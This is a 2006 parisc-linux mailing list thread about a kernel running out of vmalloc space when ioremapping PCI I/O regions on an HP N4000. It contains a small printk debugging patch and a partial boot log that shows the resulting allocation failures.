Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx003) with SMTP; 01 Apr 2006 16:30:57 +0200
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k31EUr209187;
	Sat, 1 Apr 2006 09:30:53 -0500
In-Reply-To: <200604010935.42819.deller@gmx.de>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kLcWcUQZbmw7vq2HZzdLS0RHUzc4cpHj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23525

On Sat, 2006-04-01 at 09:35 +0200, Helge Deller wrote:
> I'm pretty sure.
> We never vmalloc'ed IOmem before.

Where are you taking the ioremap virtual range from?  If it's the
vmalloc range, which is the only one I can think we have available for
arbitrary kernel mappings, then that would explain the behaviour.

James




From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Fixs to work on ARM and PARIC platforms.
Date: Sat, 01 Apr 2006 08:46:59 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <1143902819.3368.3.camel__5349.12873195044$1416624039$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624039 18788 80.91.229.3 (22 Nov 2014 02:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:39 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@gmail.com>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 14:47:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 01 Apr 2006 16:47:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343F87D6AF;
	Sat,  1 Apr 2006 07:47:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16471-01; Sat, 1 Apr 2006 07:47:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8B517D6A4;
	Sat,  1 Apr 2006 07:47:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3D57D694
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 07:47:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16254-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 07:47:14 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 331C67D692
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 07:47:14 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k31El0209861; Sat, 1 Apr 2006 09:47:00 -0500
In-Reply-To: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S6Acd2ULPTRt7OjGPjIwMzIxc2tpZAuW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23526

On Sat, 2006-04-01 at 01:22 -0800, Ryan Bradetich wrote:
> 2. I had to add an additional cache flush in the fuse_copy_do
> function.  On both ARM and PARISC, the data was corrupted unless cache
> is flushed first.  Unfortunately I hit it with a very big hammer
> (flush_cache_all) ... I am hoping someone more familiar with the
> caches will suggest a better flush function to use.  I tried to use
> the flush_kernel_dcache_page and flush_dcache_page functions without
> any luck :( 

You're right that a flush_cache_all() isn't going to be acceptable.
However, the patch is to a non-existent file, so I don't really see how
we can help unless you reduce it to a test case like the previous
copytest failures.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 2 Apr 2006 11:29:30 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <200604021129.31095.deller@gmx.de>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	<200604010935.42819.deller@gmx.de>
	<1143901853.3368.0.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_7l5LEPrlEZV8VJj"
X-Trace: ger.gmane.org 1416624040 18789 80.91.229.3 (22 Nov 2014 02:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@steeleye.com>,
 "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 09:30:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 02 Apr 2006 11:30:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2780F7D6EC;
	Sun,  2 Apr 2006 03:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23139-05; Sun, 2 Apr 2006 03:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D61957D6ED;
	Sun,  2 Apr 2006 03:30:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D50257D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 03:30:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23082-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 03:30:22 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id ADA767D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 03:30:21 -0600 (MDT)
Original-Received: (qmail invoked by alias); 02 Apr 2006 09:30:18 -0000
Original-Received: from p54AD1820.dip0.t-ipconnect.de (EHLO p100.box) [84.173.24.32]
	by mail.gmx.net (mp029) with SMTP; 02 Apr 2006 11:30:18 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <1143901853.3368.0.camel@mulgrave.il.steeleye.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jqsdd5dyPTRt7OjGPjIwMzIxc2tpZMsY
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23527

--Boundary-00=_7l5LEPrlEZV8VJj
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Saturday 01 April 2006 16:30, James Bottomley wrote:
> On Sat, 2006-04-01 at 09:35 +0200, Helge Deller wrote:
> > I'm pretty sure.
> > We never vmalloc'ed IOmem before.
> 
> Where are you taking the ioremap virtual range from?  If it's the
> vmalloc range, which is the only one I can think we have available for
> arbitrary kernel mappings, then that would explain the behaviour.

Correct.
ioremap() calls get_vm_area(), which in turn gets it from __get_vm_area(size, flags, VMALLOC_START, VMALLOC_END);
VMALLOC_START seems to be at 32KB, while VMALLOC_END at around 240MB.
This means we have ~240MB of IO-Space which seems to little for the N4k.

Willy said in another mail:
> Either we're leaking vmalloc space, we allocate too much of it, or we
> need to drastically increase it the amount of it we have available.

I think Willy is right.
We probably don't leak in ioremap(), since we use the standard Linux kernel functions.
I would propose to analyze how much the 14 PCI busses wants to allocate, and if they free it correctly and if they might leak.

Might this be the culprit: 
(lba_pci.c:1216)
case PAT_PIOP:
                        /*
                        ** Postable I/O port space is per PCI host adapter.
                        ** base of 64MB PIOP region
                        */
                        lba_dev->iop_base = ioremap_nocache(p->start, 64 * 1024 * 1024);
It allocates 64MB in a loop.

Joel, can you apply the attached patch and send us the bootlog of the N4k with it ?

Helge

--Boundary-00=_7l5LEPrlEZV8VJj
Content-Type: text/plain;
  charset="utf-8";
  name="t"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="t"

Index: ioremap.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/ioremap.c,v
retrieving revision 1.16
diff -u -p -r1.16 ioremap.c
--- ioremap.c	29 Mar 2006 22:18:32 -0000	1.16
+++ ioremap.c	2 Apr 2006 09:27:59 -0000
@@ -181,6 +181,9 @@ void __iomem * __ioremap(unsigned long p
 	phys_addr &= PAGE_MASK;
 	size = PAGE_ALIGN(last_addr) - phys_addr;
 
+
+	printk("IOREMAP: phys=%lx, size=%lx\n", phys_addr, size);
+
 	/*
 	 * Ok, go for it..
 	 */
@@ -193,6 +196,8 @@ void __iomem * __ioremap(unsigned long p
 		vfree(addr);
 		return NULL;
 	}
+
+	printk("IOREMAP: remapped to %p\n", addr);
 
 	return (void __iomem *) (offset + (char *)addr);
 }

--Boundary-00=_7l5LEPrlEZV8VJj
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_7l5LEPrlEZV8VJj--



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 02 Apr 2006 11:18:50 +0000
Lines: 437
Approved: news@gmane.org
Message-ID: <442FB31A.5040308@tiscali.be>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be> <200604010935.42819.deller@gmx.de> <1143901853.3368.0.camel@mulgrave.il.steeleye.com> <200604021129.31095.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624040 18793 80.91.229.3 (22 Nov 2014 02:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:40 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 11:19:01 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx038) with SMTP; 02 Apr 2006 13:19:01 +0200
Original-Received: from (ip-62-235-195-41.dial.scarlet.be [62.235.195.41]) 
	by xizor.is.scarlet.be  with ESMTP id k32BIuj01993; 
	Sun, 2 Apr 2006 13:18:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <200604021129.31095.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FIEJbG/BLi5n8ffRZWtpZGZjZml1ZBj8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23528

Hello Helge,

Helge Deller wrote:
> On Saturday 01 April 2006 16:30, James Bottomley wrote:
> 
>>On Sat, 2006-04-01 at 09:35 +0200, Helge Deller wrote:
>>
>>>I'm pretty sure.
>>>We never vmalloc'ed IOmem before.
>>
>>Where are you taking the ioremap virtual range from?  If it's the
>>vmalloc range, which is the only one I can think we have available for
>>arbitrary kernel mappings, then that would explain the behaviour.
> 
> 
> Correct.
> ioremap() calls get_vm_area(), which in turn gets it from __get_vm_area(size, flags, VMALLOC_START, VMALLOC_END);
> VMALLOC_START seems to be at 32KB, while VMALLOC_END at around 240MB.
> This means we have ~240MB of IO-Space which seems to little for the N4k.
> 
> Willy said in another mail:
> 
>>Either we're leaking vmalloc space, we allocate too much of it, or we
>>need to drastically increase it the amount of it we have available.
> 
> 
> I think Willy is right.
> We probably don't leak in ioremap(), since we use the standard Linux kernel functions.
> I would propose to analyze how much the 14 PCI busses wants to allocate, and if they free it correctly and if they might leak.
> 
> Might this be the culprit: 
> (lba_pci.c:1216)
> case PAT_PIOP:
>                         /*
>                         ** Postable I/O port space is per PCI host adapter.
>                         ** base of 64MB PIOP region
>                         */
>                         lba_dev->iop_base = ioremap_nocache(p->start, 64 * 1024 * 1024);
> It allocates 64MB in a loop.
> 
> Joel, can you apply the attached patch and send us the bootlog of the N4k with it ?
> 
> Helge

Here there are:
[snip]
Interact with IPL (Y, N, or Cancel)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.9 root@c3k Wed Jul 20 12:51:49 MDT 2005
Skipping extended partition 7 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      61   f0 Palo
2              62     306   82 swap
3             307     367   83 ext2
5             368    1953   83 ext2
6            1954    2197   83 ext2

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda5 HOME=/ panic=30 profile=2 console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux'
Selected kernel: /vmlinux from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4417856 mediaptr 0x1000
Segment 1 load 00538000 size 344208 mediaptr 0x438000
Segment 2 load 00590000 size 303760 mediaptr 0x48d000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.16.1-pa10-n4kmp (root@patst006) (gcc version 4.0.3 (Debian 4.0.3-1)) #698 SMP Sun Apr 2 12:22:58 CEST 2006
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005d30 00000491 00000000 00000002 27988e5d 100000f1 00000008 000000b2 000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/N4000-55
Memory Ranges:
  0) Start 0x0000000000000000 End 0x000000007fffffff Size   2048 MB
  1) Start 0x0000000180000000 End 0x00000001ffffffff Size   2048 MB
Total Memory: 4096 MB
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: root=/dev/sda5 HOME=/ panic=30 profile=2 console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux
kernel profiling enabled (shift: 2)
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 4194304k available
Mount-cache hash table entries: 256
Brought up 1 CPUs
migration_cost=0
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000 }
2. Unknown machine at 0xfffffffffed2d000 [45] { 0, 0x0, 0x5d3, 0x00000 }
3. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000c }
4. DEW BC Runway Port at 0xfffffffffed2c000 [44] { 7, 0x0, 0x584, 0x0000c }
5. Memory at 0xfffffffffedc0000 [192] { 1, 0x0, 0x090, 0x00009 }
6. IKE I/O BC Merced Port at 0xfffffffffed00000 [0] { 7, 0x0, 0x803, 0x0000c }
7. Elroy PCI Bridge at 0xffffffffbffe0000 [0/0] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at 0xffffffffbffe2000 [0/1] { 13, 0x0, 0x782, 0x0000a }
9. Elroy PCI Bridge at 0xffffffffbffe4000 [0/2] { 13, 0x0, 0x782, 0x0000a }
10. Elroy PCI Bridge at 0xffffffffbffe8000 [0/4] { 13, 0x0, 0x782, 0x0000a }
11. Elroy PCI Bridge at 0xffffffffbffea000 [0/5] { 13, 0x0, 0x782, 0x0000a }
12. Elroy PCI Bridge at 0xffffffffbfff0000 [0/8] { 13, 0x0, 0x782, 0x0000a }
13. Elroy PCI Bridge at 0xffffffffbfff4000 [0/10] { 13, 0x0, 0x782, 0x0000a }
14. Elroy PCI Bridge at 0xffffffffbfff8000 [0/12] { 13, 0x0, 0x782, 0x0000a }
15. IKE I/O BC Merced Port at 0xfffffffffed40000 [1] { 7, 0x0, 0x803, 0x0000c }
16. Elroy PCI Bridge at 0xfffffffffece0000 [1/0] { 13, 0x0, 0x782, 0x0000a }
17. Elroy PCI Bridge at 0xfffffffffece4000 [1/2] { 13, 0x0, 0x782, 0x0000a }
18. Elroy PCI Bridge at 0xfffffffffece8000 [1/4] { 13, 0x0, 0x782, 0x0000a }
19. Elroy PCI Bridge at 0xfffffffffecf0000 [1/8] { 13, 0x0, 0x782, 0x0000a }
20. Elroy PCI Bridge at 0xfffffffffecf4000 [1/10] { 13, 0x0, 0x782, 0x0000a }
21. Elroy PCI Bridge at
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
        ON       OFF           OFF       ON         ON
LED State: System running normally.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
Releasing cpu 1 now, hpa=fffffffffed2d000
FP[1] enabled: Rev 1 Model 16
migration_cost=1000
CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
Setting cache flush threshold to ad700 (2 CPUs online)
IOREMAP: phys=fffffffffed00000, size=1000
IOREMAP: remapped to 0000000000008000
SBA found Ike rev 2 at 0xfffffffffed00000
IOREMAP: phys=fffffffffed02000, size=1000
IOREMAP: remapped to 000000000000a000
IOREMAP: phys=fffffffffed03000, size=1000
IOREMAP: remapped to 000000000000c000
IOREMAP: phys=ffffffffbffe0000, size=1000
IOREMAP: remapped to 000000000000e000
IOREMAP: phys=ffffffffbffe2000, size=1000
IOREMAP: remapped to 0000000000010000
IOREMAP: phys=ffffffffbffe4000, size=1000
IOREMAP: remapped to 0000000000012000
IOREMAP: phys=ffffffffbffe8000, size=1000
IOREMAP: remapped to 0000000000014000
IOREMAP: phys=ffffffffbffea000, size=1000
IOREMAP: remapped to 0000000000016000
IOREMAP: phys=ffffffffbfff0000, size=1000
IOREMAP: remapped to 0000000000018000
IOREMAP: phys=ffffffffbfff4000, size=1000
IOREMAP: remapped to 000000000001a000
IOREMAP: phys=ffffffffbfff8000, size=1000
IOREMAP: remapped to 000000000001c000
IOREMAP: phys=fffffffffed40000, size=1000
IOREMAP: remapped to 000000000001e000
SBA found Ike rev 2 at 0xfffffffffed40000
IOREMAP: phys=fffffffffed42000, size=1000
IOREMAP: remapped to 0000000000020000
IOREMAP: phys=fffffffffed43000, size=1000
IOREMAP: remapped to 0000000000022000
IOREMAP: phys=fffffffffece0000, size=1000
IOREMAP: remapped to 0000000000024000
IOREMAP: phys=fffffffffece4000, size=1000
IOREMAP: remapped to 0000000000026000
IOREMAP: phys=fffffffffece8000, size=1000
IOREMAP: remapped to 0000000000028000
IOREMAP: phys=fffffffffecf0000, size=1000
IOREMAP: remapped to 000000000002a000
IOREMAP: phys=fffffffffecf4000, size=1000
IOREMAP: remapped to 000000000002c000
IOREMAP: phys=fffffffffecf8000, size=1000
IOREMAP: remapped to 000000000002e000
IOREMAP: phys=ffffffffbffe0000, size=1000
IOREMAP: remapped to 0000000000030000
LBA version TR4.0 (0x5) found at 0xffffffffbffe0000
IOREMAP: phys=ffffffffbffe0000, size=2000
IOREMAP: remapped to 0000000000034000
IOREMAP: phys=fffffff000000000, size=4000000
IOREMAP: remapped to 0000000000080000
iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
IOREMAP: phys=ffffffffbffe2000, size=1000
IOREMAP: remapped to 0000000000032000
LBA version TR4.0 (0x5) found at 0xffffffffbffe2000
IOREMAP: phys=ffffffffbffe2000, size=2000
IOREMAP: remapped to 0000000000038000
IOREMAP: phys=fffffff080000000, size=4000000
IOREMAP: remapped to 0000000004100000
IOREMAP: phys=ffffffffbffe4000, size=1000
IOREMAP: remapped to 000000000003c000
LBA version TR4.0 (0x5) found at 0xffffffffbffe4000
IOREMAP: phys=ffffffffbffe4000, size=2000
IOREMAP: remapped to 0000000000040000
IOREMAP: phys=fffffff100000000, size=4000000
IOREMAP: remapped to 0000000008180000
IOREMAP: phys=ffffffffbffe8000, size=1000
IOREMAP: remapped to 000000000003e000
LBA version TR4.0 (0x5) found at 0xffffffffbffe8000
IOREMAP: phys=ffffffffbffe8000, size=2000
IOREMAP: remapped to 0000000000044000
IOREMAP: phys=fffffff200000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=ffffffffbffea000, size=1000
IOREMAP: remapped to 0000000000048000
LBA version TR4.0 (0x5) found at 0xffffffffbffea000
IOREMAP: phys=ffffffffbffea000, size=2000
IOREMAP: remapped to 000000000004c000
IOREMAP: phys=fffffff280000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=ffffffffbfff0000, size=1000
IOREMAP: remapped to 000000000004a000
LBA version TR4.0 (0x5) found at 0xffffffffbfff0000
IOREMAP: phys=ffffffffbfff0000, size=2000
IOREMAP: remapped to 0000000000050000
IOREMAP: phys=fffffff400000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=ffffffffbfff4000, size=1000
IOREMAP: remapped to 0000000000054000
LBA version TR4.0 (0x5) found at 0xffffffffbfff4000
IOREMAP: phys=ffffffffbfff4000, size=2000
IOREMAP: remapped to 0000000000058000
IOREMAP: phys=fffffff500000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=ffffffffbfff8000, size=1000
IOREMAP: remapped to 0000000000056000
LBA version TR4.0 (0x5) found at 0xffffffffbfff8000
IOREMAP: phys=ffffffffbfff8000, size=2000
IOREMAP: remapped to 000000000005c000
IOREMAP: phys=fffffff600000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffece0000, size=1000
IOREMAP: remapped to 0000000000060000
LBA version TR4.0 (0x5) found at 0xfffffffffece0000
IOREMAP: phys=fffffffffece0000, size=2000
IOREMAP: remapped to 0000000000064000
IOREMAP: phys=fffffff800000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffece4000, size=1000
IOREMAP: remapped to 0000000000062000
LBA version TR4.0 (0x5) found at 0xfffffffffece4000
IOREMAP: phys=fffffffffece4000, size=2000
IOREMAP: remapped to 0000000000068000
IOREMAP: phys=fffffff900000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffece8000, size=1000
IOREMAP: remapped to 000000000006c000
LBA version TR4.0 (0x5) found at 0xfffffffffece8000
IOREMAP: phys=fffffffffece8000, size=2000
IOREMAP: remapped to 0000000000070000
IOREMAP: phys=fffffffa00000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffecf0000, size=1000
IOREMAP: remapped to 000000000006e000
LBA version TR4.0 (0x5) found at 0xfffffffffecf0000
IOREMAP: phys=fffffffffecf0000, size=2000
IOREMAP: remapped to 0000000000074000
IOREMAP: phys=fffffffc00000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffecf4000, size=1000
IOREMAP: remapped to 0000000000078000
LBA version TR4.0 (0x5) found at 0xfffffffffecf4000
IOREMAP: phys=fffffffffecf4000, size=2000
